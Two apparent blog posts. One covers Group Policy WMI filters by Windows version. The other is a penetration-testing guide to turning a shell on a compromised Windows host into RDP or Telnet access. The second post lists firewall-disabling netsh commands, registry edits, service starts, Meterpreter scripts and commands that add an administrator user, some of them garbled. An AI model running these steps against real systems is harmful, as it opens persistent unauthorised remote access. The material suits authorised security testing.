WMI Filters in Group Policy Objects

One of the problems that we see every day in production environments is that even when we would like to have all machines on the same version of Windows many times this is not possible so we have to adapt our Group Policies to these environments. Microsoft provides a great way to check several parameters of the box thru Windows Management Instrumentation (WMI), this allows is from checking Hardware, software, patches and many other attributes available via the Windows Management Instrumentation (WMI). Lets say we want the previous Group Policy we created to apply only to Windows 2008 R2, Windows 2008, Vista and Windows 7 and lets also make a filter for Windows XP and 2003 so if we decide to make a filter to apply a policy to only those we can apply the filter. We start by going to the Group Policy  Management Console and choosing under the domain WMI Filters image We now Right Click an select New to create a new filter. We will get a screen where we will enter a name and a description for our first filter that will be for Windows 2008, Windows 2008R2, Windows Vista and Windows 7, the operating systems that support Network Level Authentication (NLA) on Remote Desktop Protocol (RDP). image Now we click on Add on the Queries section so as to add the WMI Query Language query we will use to filter to what Operating systems the policy is applied to: image We will select from Win32_OperatingSystem  the Version, this will give us a version number of 6.0 for Windows Vista and Windows 2008, 6.1 for Windows 2008 R2 and Windows 7. we will use:

SELECT * FROM Win32_OperatingSystem WHERE Version like "6.%"

We would click on Add type our filter and then just click on Ok:

image

We now click on save and the filter is ready to apply.

To apply a filter we just select the policy we want to apply the filter to and select from the WMI Filtering section the WMI Filter we want from the dropdown box:

image

In the case we wanted the filter to be for earlier supported versions of Windows we would use:

SELECT * FROM Win32_OperatingSystem WHERE Version LIKE "5.%"

If we wanted to even go more granular we could create separate filter for Product Type where:


  • ProductType 1 is for Client Versions of Windows
  • ProductType 2 is for Server Version of Windows operating as a Domain Controller
  • ProductType 3 for Server Version of Windows that are not a Domain Controller

If we wanted this to apply to all servers but not domain controller we could do a query like this one:

SELECT * FROM Win32_OperatingSystem WHERE (Version like "5.%" OR Version like "6.%") and ProductType<>2

As you can see there is a lot of flexibility with filters, specially since we can have several of them. As always I hope you find the post informative and useful.

How to get Terminal from Shell in Windows

I will be focusing mainly on Windows XP and 2003 and beyond since both the Telnet Service and Remote Desktop Service are already present or can be installed without having to reboot the server.  If you are using the latest SVN version of Metasploit you can just run the following Meterpreter Scripts to enable the service on the target machine:

·         run getgui –e

·         run gettelnet –e

But what if you have shell, what do you do? Let’s start with enabling Remote Desktop on the target machine, first things first we want to know what version of windows is running the target machine if we do not know the version of the target we have gotten a shell on, this can be achieved by running:

·         ver

This will give you the version of Windows of the target machine and you can deduce the OS from this number:

·         5.0 is Windows 2000

·         5.1 is Windows XP

·         5.2 is Windows 2003

·         6.0 is Windows Vista and Windows 2008

·         6.1 is Windows 7

Know that we know the version of the OS we can check if RDP is already running by just running:

·         Netstat –na | find “3389”

If we do not see it running we check if the built in firewall is enabled on our target:

·         Netsh firewall show opmode

We must check in specific if operational mode is enabled, if it is the firewall is enabled and if exception mode is enabled that means we can punch holes in the firewall. Depending on the ROE (Rules of Engagement) we can modify the configuration of the firewall, this are some of the commands we may use:

·         netsh firewall set opmode mode=DISABLE (Turn off the Firewall)

·         netsh firewall set opmode exception=ENABLE (Turn on Exceptions)

·         netsh firewall set service type = remotedesktop mode = enable (Enable Remote Desktop port thru the Firewall)

·         netsh firewall set service type = remotedesktop mode = enable scope=CUSTOM 192.168.1.20 (Limit access to Remote Desktop port to only the IP specified)

Now that we have the firewall configure we can proceeded to enable the RDP service, we must first set a registry key:

·         reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" | find "fDenyTSConnections" (if value is 0x0 connections are allowed if 0x1 connection is disabled)

·         reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f (Enable RDP Connections)

Once this is set we can proceed by starting the Terminal Services Service, from shell this is achieved with the “SC” command, great care should be taken not to run sc by itself or with the “/?” switch since this will break the shell. The commands to enable the Terminal Services service are:

·         sc config termservice start= auto (This will set the service to auto start)

·         sc start termservice (This command will start the service)

If we want to create a user from shell and give him RDP access we can run the following commands to achieve this if we have the necessary privileges to create the user:

·         net user /add (Adds a user)

·         net net localgroup "Remote Desktop Users" /add" (Adds user to Remote Desktop Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Now we can connect to the target machine if we have access to port 3389.  

 

Getting telnet on a windows host is easier than with RDP, in Windows XP and Windows 2003 it is already installed and disabled, in the case of Windows Vista and Windows 2008 it is not installed by default but the files for installing it are already on the file system. Just like with RDP we can check if the service is installed by running the following command:

·         sc query TlntSvr

If the service is running will see that the State will be running, if it is not installed like in the case of Windows Vista and 2008 we will get an error message that the service does not exists. In the case of Windows Vista and 2008 to install the service we just need to run the following commands:

·         pkgmgr /iu:"TelnetServer" (Installs Telnet Server)

·         pkgmgr /iu:"TelnetClient" (Installs Telnet Client)

Once we have the service installed we can start the service by running the following commands:

·         sc config TlntSvr start= auto (This will set the service to auto start)

·         sc start TlntSvr (This command will start the service)

To open the port in the Windows Firewall in case it is enabled we just run the following command:

·         netsh firewall set portopening protocol = tcp port = 23 mode = enable'

Users that will connect via telnet must be part of the TelnetClients local group, to create an account and add such account to this group the following commands can be ran from shell:

·         net user /add (Adds a user)

·         net net localgroup TelnetClients   /add" (Adds user to TelnetClients Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Once this is all done if we have access to port 23 we can connect to the target server. One important note Telnet is clear text and great care should be taken from where we are connecting to the target machine since we might introduce risk in to the client environment. Another special note is to document all commands ran on the target machine for clean up after the engagement. The best way I have found to execute this commands is to have them in a text file on my attacking machine modify the command inside a text editor and copy and paste them in to the shell window.